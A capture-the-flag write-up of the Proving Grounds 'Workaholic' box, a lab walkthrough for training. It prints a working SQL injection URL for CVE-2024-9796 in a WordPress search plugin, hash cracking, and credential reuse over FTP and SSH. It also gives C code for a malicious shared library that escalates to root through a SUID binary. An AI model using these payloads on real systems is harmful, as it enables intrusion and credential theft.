# Workaholic Writeup - Proving Grounds

> Intermediate Linux box running WordPress with the vulnerable wp-advanced-search plugin, exploited via CVE-2024-9796 unauthenticated SQLi to crack a password hash, then a reused database password for SSH, and a SUID binary's shared library dlopen hijack via a world-writable home directory for root.

- **URL:** https://hackindex.io/writeups/workaholic
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** sql-injection, wordpress, hash-cracking, credential-reuse, shared-library-hijacking, cve-2024-9796
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Workaholic runs WordPress with a vulnerable search plugin whose unauthenticated SQL injection (CVE-2024-9796) dumps the user password hashes. Cracking one gets FTP access to `wp-config.php`, whose database password is reused for SSH. From there, a custom SUID binary loads a shared library from a world-writable home directory, which is enough to run arbitrary code as root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
# PORT   STATE SERVICE VERSION
# 21/tcp open  ftp     vsftpd 3.0.5
# 22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3
# 80/tcp open  http    nginx 1.24.0 (WordPress 6.7.2)
```

WordPress 6.7.2 on nginx. Manual inspection turns up three users: `admin`, `charlie`, `ted`, plus the **wp-advanced-search** plugin.

### Plugin discovery

Confirm the plugin version from its readme.

```bash
curl -s "http://$TARGET_IP/wp-content/plugins/wp-advanced-search/readme.txt" | head -20
# === WP Advanced Search ===
# Stable tag: 3.3.8
```

wp-advanced-search <= 3.3.8 has an unauthenticated SQL injection, CVE-2024-9796.

## Exploitation

### CVE-2024-9796: unauthenticated SQLi

The vulnerable parameter is `t=`, the table name passed into the autocompletion query, not the `q=` search term it looks like at first glance. Inject a `UNION` through it to pull user password hashes.

```bash
curl "http://$TARGET_IP/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20UNION%20SELECT%20user_pass%20FROM%20wp_users--&f=user_login&type=&e="
# admin
# charlie
# ted
# $P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
# $P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
# $P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/
```

If that filename 404s, the server may expect `autocompletion.php` instead depending on its PHP version, or the request may need to go through `admin-ajax.php` if nginx isn't routing PHP in the plugin subdirectory directly.

### Cracking the hashes

These are WordPress phpass hashes (hashcat mode 400).

```bash
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
# $P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.:$TED_PASSWORD
```

Ted's hash cracks. Use it over FTP to pull the WordPress config.

```bash
ftp $TARGET_IP
User: ted
Password: $TED_PASSWORD
get wp-config.php
# 226 Transfer complete.
```

The config leaks the database password.

```php
define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', '$WPADMIN_PASSWORD' );
```

Try that password against the other known user over SSH.

```bash
ssh charlie@$TARGET_IP
# charlie@workaholic:~$ cat ~/local.txt
```

It's reused directly for `charlie`'s SSH login.

## Privilege Escalation

### SUID binary and shared library hijacking

Look for unusual SUID binaries.

```bash
find / -perm -u=s -type f 2>/dev/null | grep -v snap
# /var/www/html/wordpress/blog/wp-monitor
```

A custom SUID binary sitting inside the WordPress install, not a standard system path, is an immediate red flag. Check what it loads.

```bash
file /var/www/html/wordpress/blog/wp-monitor
strings /var/www/html/wordpress/blog/wp-monitor | grep -i lib
# setuid ELF 64-bit LSB pie executable, x86-64, dynamically linked
# /home/ted/.lib/libsecurity.so
# [!] Function not found in the library!
# dlopen@GLIBC_2.34
# dlsym@GLIBC_2.34
```

The binary `dlopen`s `/home/ted/.lib/libsecurity.so` and looks up a function called `init_plugin` with `dlsym`. Neither the directory nor the library exist yet, and ted's home directory turns out to be world-writable.

```bash
ls -ld /home/ted
# drwxrwxrwx 5 ted ted 4096 ... /home/ted
```

Create the expected directory and plant a malicious library exporting that exact function name.

```bash
mkdir -p /home/ted/.lib
```

```c
#include <stdlib.h>
#include <unistd.h>
void init_plugin() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

```bash
gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
```

Run the SUID binary; it loads the planted library and calls `init_plugin()` as root.

```bash
/var/www/html/wordpress/blog/wp-monitor
# bash-5.1# whoami
# root
```

Related

## References

- [CVE-2024-9796](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-advanced-search/wp-advanced-search-331-unauthenticated-sql-injection) - WP Advanced Search unauthenticated SQL injection via the autocompletion endpoint's table parameter.